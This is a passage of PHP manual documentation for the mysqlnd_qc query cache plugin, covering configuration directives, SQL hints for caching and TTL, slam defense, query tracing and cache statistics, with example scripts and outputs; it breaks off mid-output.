The query cache plugin is implemented as a PHP extension. It is written in C and operates under the hood of PHP. During the startup of the PHP interpreter, it gets registered as a mysqlnd plugin to replace selected mysqlnd C methods. Hereby, it can change the behaviour of any PHP MySQL extension (mysqli, PDO_MYSQL, mysql) compiled to use the mysqlnd library without changing the extensions API. This makes the plugin compatible with each and every PHP MySQL application. Because existing APIs are not changed, it is almost transparent to use. Please, see the mysqlnd plugin API description for a discussion of the advantages of the plugin architecture and a comparison with proxy based solutions.

Transparent to use

At PHP run time PECL/mysqlnd_qc can proxy queries send from PHP (mysqlnd) to the MySQL server. It then inspects the statement string to find whether it shall cache its results. If so, result set is cached using a storage handler and further executions of the statement are served from the cache for a user-defined period. The Time to Live (TTL) of the cache entry can either be set globally or on a per statement basis.

A statement is either cached if the plugin is instructed to cache all statements globally using a or, if the query string starts with the SQL hint (/*qc=on*/). The plugin is capable of caching any query issued by calling appropriate API calls of any of the existing PHP MySQL extensions.

Flexible storage: various storage handler

Various storage handler are supported to offer different scopes for cache entries. Different scopes allow for different degrees in sharing cache entries among clients.

  • default (built-in): process memory, scope: process, one or more web requests depending on PHP deployment model used

  • APC: shared memory, scope: single server, multiple web requests

  • SQLite: memory or file, scope: single server, multiple web requests

  • MEMCACHE: main memory, scope: single or multiple server, multiple web requests

  • user (built-in): user-defined - any, scope: user-defined - any

Support for the APC, SQLite and MEMCACHE storage handler has to be enabled at compile time. The default and user handler are built-in. It is possible to switch between compiled-in storage handlers on a per query basis at run time. However, it is recommended to pick one storage handler and use it for all cache entries.

Built-in slam defense to avoid overloading

To avoid overload situations the cache plugin has a built-in slam defense mechanism. If a popular cache entries expires many clients using the cache entries will try to refresh the cache entry. For the duration of the refresh many clients may access the database server concurrently. In the worst case, the database server becomes overloaded and it takes more and more time to refresh the cache entry, which in turn lets more and more clients try to refresh the cache entry. To prevent this from happening the plugin has a slam defense mechanism. If slam defense is enabled and the plugin detects an expired cache entry it extends the life time of the cache entry before it refreshes the cache entry. This way other concurrent accesses to the expired cache entry are still served from the cache for a certain time. The other concurrent accesses to not trigger a concurrent refresh. Ideally, the cache entry gets refreshed by the client which extended the cache entries lifespan before other clients try to refresh the cache and potentially cause an overload situation.

Unique approach to caching

PECL/mysqlnd_qc has a unique approach to caching result sets that is superior to application based cache solutions. Application based solutions first fetch a result set into PHP variables. Then, the PHP variables are serialized for storage in a persistent cache, and then unserialized when fetching. The mysqlnd query cache stores the raw wire protocol data sent from MySQL to PHP in its cache and replays it, if still valid, on a cache hit. This way, it saves an extra serialization step for a cache put that all application based solutions have to do. It can store the raw wire protocol data in the cache without having to serialize into a PHP variable first and deserializing the PHP variable for storing in the cache again.

User Contributed Notes

There are no user contributed notes for this page.


Setup

The plugin is implemented as a PHP extension. See also the installation instructions to install the » PECL/mysqlnd_qc extension.

Compile or configure the PHP MySQL extension (mysqli, PDO_MYSQL, mysql) that you plan to use with support for the mysqlnd library. PECL/mysqlnd_qc is a plugin for the mysqlnd library. To use the plugin with any of the existing PHP MySQL extensions (APIs), the extension has to use the mysqlnd library.

Then, load the extension into PHP and activate the plugin in the PHP configuration file using the PHP configuration directive named mysqlnd_qc.enable_qc.

Example #1 Enabling the plugin (php.ini)

mysqlnd_qc.enable_qc=1

User Contributed Notes

There are no user contributed notes for this page.


Caching queries

There are four ways to trigger caching of a query.

  • Use of SQL hints on a per query basis
  • User supplied callbacks to decide on a per query basis, for example, using mysqlnd_qc_is_select()
  • mysqlnd_set_cache_condition() for rule based automatic per query decisions
  • mysqlnd_qc.cache_by_default = 1 to cache all queries blindly

Use of SQL hints and mysqlnd_qc.cache_by_default = 1 are explained below. Please, refer to the function reference on mysqlnd_qc_is_select() for a description of using a callback and, mysqlnd_qc_set_cache_condition() on how to set rules for automatic caching.

A SQL hint is a SQL standards compliant comment. As a SQL comment it is ignored by the database. A statement is considered eligible for caching if it either begins with the SQL hint enabling caching or it is a SELECT statement.

An individual query which shall be cached must begin with the SQL hint /*qc=on*/. It is recommended to use the PHP constant MYSQLND_QC_ENABLE_SWITCH instead of using the string value.

  • not eligible for caching and not cached: INSERT INTO test(id) VALUES (1)

  • not eligible for caching and not cached: SHOW ENGINES

  • eligible for caching but uncached: SELECT id FROM test

  • eligible for caching and cached: /*qc=on*/SELECT id FROM test

The examples SELECT statement string is prefixed with the MYSQLND_QC_ENABLE_SWITCH SQL hint to enable caching of the statement. The SQL hint must be given at the very beginning of the statement string to enable caching.

Example #1 Using the MYSQLND_QC_ENABLE_SWITCH SQL hint

mysqlnd_qc.enable_qc=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

/* Will be cached because of the SQL hint */
$start = microtime(true);
$res   = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 1");

var_dump($res->fetch_assoc());
$res->free();

printf("Total time uncached query: %.6fs\n", microtime(true) - $start);

/* Cache hit */
$start = microtime(true);
$res   = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 1");

var_dump($res->fetch_assoc());
$res->free();

printf("Total time cached query: %.6fs\n", microtime(true) - $start);
?>

The above examples will output something similar to:

array(1) {
  ["id"]=>
  string(1) "1"
}
Total time uncached query: 0.000740s
array(1) {
  ["id"]=>
  string(1) "1"
}
Total time cached query: 0.000098s

If nothing else is configured, as it is the case in the quickstart example, the plugin will use the built-in default storage handler. The default storage handler uses process memory to hold a cache entry. Depending on the PHP deployment model, a PHP process may serve one or more web requests. Please, consult the web server manual for details. Details make no difference for the examples given in the quickstart.

The query cache plugin will cache all queries regardless if the query string begins with the SQL hint which enables caching or not, if the PHP configuration directive mysqlnd_qc.cache_by_default is set to 1. The setting mysqlnd_qc.cache_by_default is evaluated by the core of the query cache plugins. Neither the built-in nor user-defined storage handler can overrule the setting.

The SQL hint /*qc=off*/ can be used to disable caching of individual queries if mysqlnd_qc.cache_by_default = 1 It is recommended to use the PHP constant MYSQLND_QC_DISABLE_SWITCH instead of using the string value.

Example #2 Using the MYSQLND_QC_DISABLE_SWITCH SQL hint

mysqlnd_qc.enable_qc=1
mysqlnd_qc.cache_by_default=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

/* Will be cached although no SQL hint is present because of mysqlnd_qc.cache_by_default = 1*/
$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

$mysqli->query("DELETE FROM test WHERE id = 1");

/* Cache hit - no automatic invalidation and still valid! */
$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

/* Cache miss - query must not be cached because of the SQL hint */
$res = $mysqli->query("/*" . MYSQLND_QC_DISABLE_SWITCH . "*/SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();
?>

The above examples will output:

array(1) {
  ["id"]=>
  string(1) "1"
}
array(1) {
  ["id"]=>
  string(1) "1"
}
NULL

PECL/mysqlnd_qc forbids caching of statements for which at least one column from the statements result set shows no table name in its meta data by default. This is usually the case for columns originating from SQL functions such as NOW() or LAST_INSERT_ID(). The policy aims to prevent pitfalls if caching by default is used.

Example #3 Example showing which type of statements are not cached

mysqlnd_qc.enable_qc=1
mysqlnd_qc.cache_by_default=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1)");

for ($i = 0; $i < 3; $i++) {

    $start = microtime(true);

    /* Note: statement will not be cached because of NOW() use */
    $res = $mysqli->query("SELECT id, NOW() AS _time FROM test");
    $row = $res->fetch_assoc();

    /* dump results */
    var_dump($row);

    printf("Total time: %.6fs\n", microtime(true) - $start);

    /* pause one second */
    sleep(1);
}
?>

The above examples will output something similar to:

array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:43:10"
}
Total time: 0.000540s
array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:43:11"
}
Total time: 0.000555s
array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:43:12"
}
Total time: 0.000549s

It is possible to enable caching for all statements including those which has columns in their result set for which MySQL reports no table, such as the statement from the example. Set mysqlnd_qc.cache_no_table = 1 to enable caching of such statements. Please, note the difference in the measured times for the above and below examples.

Example #4 Enabling caching for all statements using the mysqlnd_qc.cache_no_table ini setting

mysqlnd_qc.enable_qc=1
mysqlnd_qc.cache_by_default=1
mysqlnd_qc.cache_no_table=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1)");

for ($i = 0; $i < 3; $i++) {

    $start = microtime(true);

    /* Note: statement will not be cached because of NOW() use */
    $res = $mysqli->query("SELECT id, NOW() AS _time FROM test");
    $row = $res->fetch_assoc();

    /* dump results */
    var_dump($row);

    printf("Total time: %.6fs\n", microtime(true) - $start);

    /* pause one second */
    sleep(1);
}
?>

The above examples will output something similar to:

array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:47:45"
}
Total time: 0.000546s
array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:47:45"
}
Total time: 0.000187s
array(2) {
  ["id"]=>
  string(1) "1"
  ["_time"]=>
  string(19) "2012-01-11 15:47:45"
}
Total time: 0.000167s

Note:

Although mysqlnd_qc.cache_no_table = 1 has been created for use with mysqlnd_qc.cache_by_default = 1 it is bound it. The plugin will evaluate the mysqlnd_qc.cache_no_table whenever a query is to be cached, no matter whether caching has been enabled using a SQL hint or any other measure.

User Contributed Notes

There are no user contributed notes for this page.


Setting the TTL

The default invalidation strategy of the query cache plugin is Time to Live (TTL). The built-in storage handlers will use the default TTL defined by the PHP configuration value mysqlnd_qc.ttl unless the query string contains a hint for setting a different TTL. The TTL is specified in seconds. By default cache entries expire after 30 seconds

The example sets mysqlnd_qc.ttl=3 to cache statements for three seconds by default. Every second it updates a database table record to hold the current time and executes a SELECT statement to fetch the record from the database. The SELECT statement is cached for three seconds because it is prefixed with the SQL hint enabling caching. The output verifies that the query results are taken from the cache for the duration of three seconds before they are refreshed.

Example #1 Setting the TTL with the mysqlnd_qc.ttl ini setting

mysqlnd_qc.enable_qc=1
mysqlnd_qc.ttl=3
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id VARCHAR(255))");

for ($i = 0; $i < 7; $i++) {

    /* update DB row  */
    if (!$mysqli->query("DELETE FROM test") ||
        !$mysqli->query("INSERT INTO test(id) VALUES (NOW())"))
      /* Of course, a real-life script should do better error handling */
      die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

    /* select latest row but cache results */
    $query  = "/*" . MYSQLND_QC_ENABLE_SWITCH . "*/";
    $query .= "SELECT id AS _time FROM test";
    if (!($res = $mysqli->query($query)) ||
        !($row = $res->fetch_assoc()))
    {
      printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
    }
    $res->free();
    printf("Wall time %s - DB row time %s\n", date("H:i:s"), $row['_time']);

    /* pause one second */
    sleep(1);
}
?>

The above examples will output something similar to:

Wall time 14:55:59 - DB row time 2012-01-11 14:55:59
Wall time 14:56:00 - DB row time 2012-01-11 14:55:59
Wall time 14:56:01 - DB row time 2012-01-11 14:55:59
Wall time 14:56:02 - DB row time 2012-01-11 14:56:02
Wall time 14:56:03 - DB row time 2012-01-11 14:56:02
Wall time 14:56:04 - DB row time 2012-01-11 14:56:02
Wall time 14:56:05 - DB row time 2012-01-11 14:56:05

As can be seen from the example, any TTL based cache can serve stale data. Cache entries are not automatically invalidated, if underlying data changes. Applications using the default TTL invalidation strategy must be able to work correctly with stale data.

A user-defined cache storage handler can implement any invalidation strategy to work around this limitation.

The default TTL can be overruled using the SQL hint /*qc_tt=seconds*/. The SQL hint must be appear immediately after the SQL hint which enables caching. It is recommended to use the PHP constant MYSQLND_QC_TTL_SWITCH instead of using the string value.

Example #2 Setting TTL with SQL hints

<?php
$start = microtime(true);

/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

printf("Default TTL\t: %d seconds\n", ini_get("mysqlnd_qc.ttl"));

/* Will be cached for 2 seconds */
$sql = sprintf("/*%s*//*%s%d*/SELECT id FROM test WHERE id = 1", MYSQLND_QC_ENABLE_SWITCH, MYSQLND_QC_TTL_SWITCH, 2);
$res = $mysqli->query($sql);

var_dump($res->fetch_assoc());
$res->free();

$mysqli->query("DELETE FROM test WHERE id = 1");
sleep(1);

/* Cache hit - no automatic invalidation and still valid! */
$res = $mysqli->query($sql);
var_dump($res->fetch_assoc());
$res->free();

sleep(2);

/* Cache miss - cache entry has expired */
$res = $mysqli->query($sql);
var_dump($res->fetch_assoc());
$res->free();

printf("Script runtime\t: %d seconds\n", microtime(true) - $start);
?>

The above examples will output something similar to:

Default TTL     : 30 seconds
array(1) {
  ["id"]=>
  string(1) "1"
}
array(1) {
  ["id"]=>
  string(1) "1"
}
NULL
Script runtime  : 3 seconds

User Contributed Notes

There are no user contributed notes for this page.


Pattern based caching

An application has three options for telling PECL/mysqlnd_qc whether a particular statement shall be used. The most basic approach is to cache all statements by setting mysqlnd_qc.cache_by_default = 1. This approach is often of little practical value. But it enables users to make a quick estimation about the maximum performance gains from caching. An application designed to use a cache may be able to prefix selected statements with the appropriate SQL hints. However, altering an applications source code may not always be possible or desired, for example, to avoid problems with software updates. Therefore, PECL/mysqlnd_qc allows setting a callback which decides if a query is to be cached.

The callback is installed with the mysqlnd_qc_set_is_select() function. The callback is given the statement string of every statement inspected by the plugin. Then, the callback can decide whether to cache the function. The callback is supposed to return FALSE if the statement shall not be cached. A return value of TRUE makes the plugin try to add the statement into the cache. The cache entry will be given the default TTL ( mysqlnd_qc.ttl). If the callback returns a numerical value it is used as the TTL instead of the global default.

Example #1 Setting a callback with mysqlnd_qc_set_is_select()

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_statistics=1
<?php
/* callback which decides if query is cached */
function is_select($query) {
    static $patterns = array(
      /* true - use default from mysqlnd_qc.ttl */
      "@SELECT\s+.*\s+FROM\s+test@ismU" => true,
      /* 3 - use TTL = 3 seconds */
      "@SELECT\s+.*\s+FROM\s+news@ismU" => 3
    );

    /* check if query does match pattern */
    foreach ($patterns as $pattern => $ttl) {
        if (preg_match($pattern, $query)) {
            printf("is_select(%45s): cache\n", $query);
            return $ttl;
        }
    }
    printf("is_select(%45s): do not cache\n", $query);
    return false;
}
/* install callback */
mysqlnd_qc_set_is_select("is_select");

/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* cache put */
$mysqli->query("SELECT id FROM test WHERE id = 1");
/* cache hit */
$mysqli->query("SELECT id FROM test WHERE id = 1");
/* cache put */
$mysqli->query("SELECT * FROM test");

$stats = mysqlnd_qc_get_core_stats();
printf("Cache put: %d\n", $stats['cache_put']);
printf("Cache hit: %d\n", $stats['cache_hit']);
?>

The above examples will output something similar to:

is_select(                    DROP TABLE IF EXISTS test): do not cache
is_select(                    CREATE TABLE test(id INT)): do not cache
is_select(    INSERT INTO test(id) VALUES (1), (2), (3)): do not cache
is_select(             SELECT id FROM test WHERE id = 1): cache
is_select(             SELECT id FROM test WHERE id = 1): cache
is_select(                           SELECT * FROM test): cache
Cache put: 2
Cache hit: 1

The examples callback tests if a statement string matches a pattern. If this is the case, it either returns TRUE to cache the statement using the global default TTL or an alternative TTL.

To minimize application changes the callback can put into and registered in an auto prepend file.

User Contributed Notes

There are no user contributed notes for this page.


Slam defense

A badly designed cache can do more harm than good. In the worst case a cache can increase database server load instead of minimizing it. An overload situation can occur if a highly shared cache entry expires (cache stampeding).

Cache entries are shared and reused to a different degree depending on the storage used. The default storage handler stores cache entries in process memory. Thus, a cache entry can be reused for the life-span of a process. Other PHP processes cannot access it. If Memcache is used, a cache entry can be shared among multiple PHP processes and even among multiple machines, depending on the set up being used.

If a highly shared cache entry stored, for example, in Memcache expires, many clients gets a cache miss. Many client requests can no longer be served from the cache but try to run the underlying query on the database server. Until the cache entry is refreshed, more and more clients contact the database server. In the worst case, a total lost of service is the result.

The overload can be avoided using a storage handler which limits the reuse of cache entries to few clients. Then, at the average, its likely that only a limited number of clients will try to refresh a cache entry concurrently.

Additionally, the built-in slam defense mechanism can and should be used. If slam defense is activated an expired cache entry is given an extended life time. The first client getting a cache miss for the expired cache entry tries to refresh the cache entry within the extended life time. All other clients requesting the cache entry are temporarily served from the cache although the original TTL of the cache entry has expired. The other clients will not experience a cache miss before the extended life time is over.

Example #1 Enabling the slam defense mechanism

mysqlnd_qc.slam_defense=1
mysqlnd_qc.slam_defense_ttl=1

The slam defense mechanism is enabled with the PHP configuration directive mysqlnd_qc.slam_defense. The extended life time of a cache entry is set with mysqlnd_qc.slam_defense_ttl.

The function mysqlnd_qc_get_core_stats() returns an array of statistics. The statistics slam_stale_refresh and slam_stale_hit are incremented if slam defense takes place.

It is not possible to give a one-fits-all recommendation on the slam defense configuration. Users are advised to monitor and test their setup and derive settings accordingly.

User Contributed Notes

There are no user contributed notes for this page.


Finding cache candidates

A statement should be considered for caching if it is executed often and has a long run time. Cache candidates are found by creating a list of statements sorted by the product of the number of executions multiplied by the statements run time. The function mysqlnd_qc_get_query_trace_log() returns a query log which help with the task.

Collecting a query trace is a slow operation. Thus, it is disabled by default. The PHP configuration directive mysqlnd_qc.collect_query_trace is used to enable it. The functions trace contains one entry for every query issued before the function is called.

Example #1 Collecting a query trace

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_query_trace=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");

/* dummy queries to fill the query trace */
for ($i = 0; $i < 2; $i++) {
    $res = $mysqli->query("SELECT 1 AS _one FROM DUAL");
    $res->free();
}

/* dump trace */
var_dump(mysqlnd_qc_get_query_trace_log());
?>

The above examples will output:

array(2) {
  [0]=>
  array(8) {
    ["query"]=>
    string(26) "SELECT 1 AS _one FROM DUAL"
    ["origin"]=>
    string(102) "#0 qc.php(7): mysqli->query('SELECT 1 AS _on...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(25)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [1]=>
  array(8) {
    ["query"]=>
    string(26) "SELECT 1 AS _one FROM DUAL"
    ["origin"]=>
    string(102) "#0 qc.php(7): mysqli->query('SELECT 1 AS _on...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(8)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
}

Assorted information is given in the trace. Among them timings and the origin of the query call. The origin property holds a code backtrace to identify the source of the query. The depth of the backtrace can be limited with the PHP configuration directive mysqlnd_qc.query_trace_bt_depth. The default depth is 3.

Example #2 Setting the backtrace depth with the mysqlnd_qc.query_trace_bt_depth ini setting

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_query_trace=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* dummy queries to fill the query trace */
for ($i = 0; $i < 3; $i++) {
    $res = $mysqli->query("SELECT id FROM test WHERE id = " . $mysqli->real_escape_string($i));
    $res->free();
}

$trace = mysqlnd_qc_get_query_trace_log();
$summary = array();
foreach ($trace as $entry) {
    if (!isset($summary[$entry['query']])) {
        $summary[$entry['query']] = array(
            "executions" => 1,
            "time"       => $entry['run_time'] + $entry['store_time'],
        );
    } else {
        $summary[$entry['query']]['executions']++;
        $summary[$entry['query']]['time'] += $entry['run_time'] + $entry['store_time'];
    }
}

foreach ($summary as $query => $details) {
    printf("%45s: %5dms (%dx)\n",
    $query, $details['time'], $details['executions']);
}
?>

The above examples will output something similar to:

                    DROP TABLE IF EXISTS test:     0ms (1x)
                    CREATE TABLE test(id INT):     0ms (1x)
    INSERT INTO test(id) VALUES (1), (2), (3):     0ms (1x)
             SELECT id FROM test WHERE id = 0:    25ms (1x)
             SELECT id FROM test WHERE id = 1:    10ms (1x)
             SELECT id FROM test WHERE id = 2:     9ms (1x)

User Contributed Notes

There are no user contributed notes for this page.


Measuring cache efficiency

PECL/mysqlnd_qc offers three ways to measure the cache efficiency. The function mysqlnd_qc_get_normalized_query_trace_log() returns statistics aggregated by the normalized query string, mysqlnd_qc_get_cache_info() gives storage handler specific information which includes a list of all cached items, depending on the storage handler. Additionally, the core of PECL/mysqlnd_qc collects high-level summary statistics aggregated per PHP process. The high-level statistics are returned by mysqlnd_qc_get_core_stats().

The functions mysqlnd_qc_get_normalized_query_trace_log() and mysqlnd_qc_get_core_stats() will not collect data unless data collection has been enabled through their corresponding PHP configuration directives. Data collection is disabled by default for performance considerations. It is configurable with the mysqlnd_qc.time_statistics option, which determines if timing information should be collected. Collection of time statistics is enabled by default but only performed if data collection as such has been enabled. Recording time statistics causes extra system calls. In most cases, the benefit of the monitoring outweighs any potential performance penalty of the additional system calls.

Example #1 Collecting statistics data with the mysqlnd_qc.time_statistics ini setting

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_statistics=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* dummy queries */
for ($i = 1; $i <= 4; $i++) {
    $query = sprintf("/*%s*/SELECT id FROM test WHERE id = %d", MYSQLND_QC_ENABLE_SWITCH, $i % 2);
    $res   = $mysqli->query($query);

    $res->free();
}

var_dump(mysqlnd_qc_get_core_stats());
?>

The above examples will output something similar to:

array(26) {
  ["cache_hit"]=>
  string(1) "2"
  ["cache_miss"]=>
  string(1) "2"
  ["cache_put"]=>
  string(1) "2"
  ["query_should_cache"]=>
  string(1) "4"
  ["query_should_not_cache"]=>
  string(1) "3"
  ["query_not_cached"]=>
  string(1) "3"
  ["query_could_cache"]=>
  string(1) "4"
  ["query_found_in_cache"]=>
  string(1) "2"
  ["query_uncached_other"]=>
  string(1) "0"
  ["query_uncached_no_table"]=>
  string(1) "0"
  ["query_uncached_no_result"]=>
  string(1) "0"
  ["query_uncached_use_result"]=>
  string(1) "0"
  ["query_aggr_run_time_cache_hit"]=>
  string(2) "28"
  ["query_aggr_run_time_cache_put"]=>
  string(3) "900"
  ["query_aggr_run_time_total"]=>
  string(3) "928"
  ["query_aggr_store_time_cache_hit"]=>
  string(2) "14"
  ["query_aggr_store_time_cache_put"]=>
  string(2) "40"
  ["query_aggr_store_time_total"]=>
  string(2) "54"
  ["receive_bytes_recorded"]=>
  string(3) "136"
  ["receive_bytes_replayed"]=>
  string(3) "136"
  ["send_bytes_recorded"]=>
  string(2) "84"
  ["send_bytes_replayed"]=>
  string(2) "84"
  ["slam_stale_refresh"]=>
  string(1) "0"
  ["slam_stale_hit"]=>
  string(1) "0"
  ["request_counter"]=>
  int(1)
  ["process_hash"]=>
  int(1929695233)
}

For a quick overview, call mysqlnd_qc_get_core_stats(). It delivers cache usage, cache timing and traffic related statistics. Values are aggregated on a per process basis for all queries issued by any PHP MySQL API call.

Some storage handler, such as the default handler, can report cache entries, statistics related to the entries and meta data for the underlying query through the mysqlnd_qc_get_cache_info() function. Please note, that the information returned depends on the storage handler. Values are aggregated on a per process basis.

Example #2 Example mysqlnd_qc_get_cache_info() usage

mysqlnd_qc.enable_qc=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* dummy queries to fill the query trace */
for ($i = 1; $i <= 4; $i++) {
    $query = sprintf("/*%s*/SELECT id FROM test WHERE id = %d", MYSQLND_QC_ENABLE_SWITCH, $i % 2);
    $res   = $mysqli->query($query);

    $res->free();
}

var_dump(mysqlnd_qc_get_cache_info());
?>

The above examples will output something similar to:

array(4) {
  ["num_entries"]=>
  int(2)
  ["handler"]=>
  string(7) "default"
  ["handler_version"]=>
  string(5) "1.0.0"
  ["data"]=>
  array(2) {
    ["Localhost via UNIX socket
3306
root
test|/*qc=on*/SELECT id FROM test WHERE id = 1"]=>
    array(2) {
      ["statistics"]=>
      array(11) {
        ["rows"]=>
        int(1)
        ["stored_size"]=>
        int(71)
        ["cache_hits"]=>
        int(1)
        ["run_time"]=>
        int(391)
        ["store_time"]=>
        int(27)
        ["min_run_time"]=>
        int(16)
        ["max_run_time"]=>
        int(16)
        ["min_store_time"]=>
        int(8)
        ["max_store_time"]=>
        int(8)
        ["avg_run_time"]=>
        int(8)
        ["avg_store_time"]=>
        int(4)
      }
      ["metadata"]=>
      array(1) {
        [0]=>
        array(8) {
          ["name"]=>
          string(2) "id"
          ["orig_name"]=>
          string(2) "id"
          ["table"]=>
          string(4) "test"
          ["orig_table"]=>
          string(4) "test"
          ["db"]=>
          string(4) "test"
          ["max_length"]=>
          int(1)
          ["length"]=>
          int(11)
          ["type"]=>
          int(3)
        }
      }
    }
    ["Localhost via UNIX socket
3306
root
test|/*qc=on*/SELECT id FROM test WHERE id = 0"]=>
    array(2) {
      ["statistics"]=>
      array(11) {
        ["rows"]=>
        int(0)
        ["stored_size"]=>
        int(65)
        ["cache_hits"]=>
        int(1)
        ["run_time"]=>
        int(299)
        ["store_time"]=>
        int(13)
        ["min_run_time"]=>
        int(11)
        ["max_run_time"]=>
        int(11)
        ["min_store_time"]=>
        int(6)
        ["max_store_time"]=>
        int(6)
        ["avg_run_time"]=>
        int(5)
        ["avg_store_time"]=>
        int(3)
      }
      ["metadata"]=>
      array(1) {
        [0]=>
        array(8) {
          ["name"]=>
          string(2) "id"
          ["orig_name"]=>
          string(2) "id"
          ["table"]=>
          string(4) "test"
          ["orig_table"]=>
          string(4) "test"
          ["db"]=>
          string(4) "test"
          ["max_length"]=>
          int(0)
          ["length"]=>
          int(11)
          ["type"]=>
          int(3)
        }
      }
    }
  }
}

It is possible to further break down the granularity of statistics to the level of the normalized statement string. The normalized statement string is the statements string with all parameters replaced with question marks. For example, the two statements SELECT id FROM test WHERE id = 0 and SELECT id FROM test WHERE id = 1 are normalized into SELECT id FROM test WHERE id = ?. Their both statistics are aggregated into one entry for SELECT id FROM test WHERE id = ?.

Example #3 Example mysqlnd_qc_get_normalized_query_trace_log() usage

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_normalized_query_trace=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* dummy queries to fill the query trace */
for ($i = 1; $i <= 4; $i++) {
    $query = sprintf("/*%s*/SELECT id FROM test WHERE id = %d", MYSQLND_QC_ENABLE_SWITCH, $i % 2);
    $res   = $mysqli->query($query);

    $res->free();
}

var_dump(mysqlnd_qc_get_normalized_query_trace_log());
?>

The above examples will output something similar to:

array(4) {
  [0]=>
  array(9) {
    ["query"]=>
    string(25) "DROP TABLE IF EXISTS test"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [1]=>
  array(9) {
    ["query"]=>
    string(27) "CREATE TABLE test (id INT )"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [2]=>
  array(9) {
    ["query"]=>
    string(46) "INSERT INTO test (id ) VALUES (? ), (? ), (? )"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
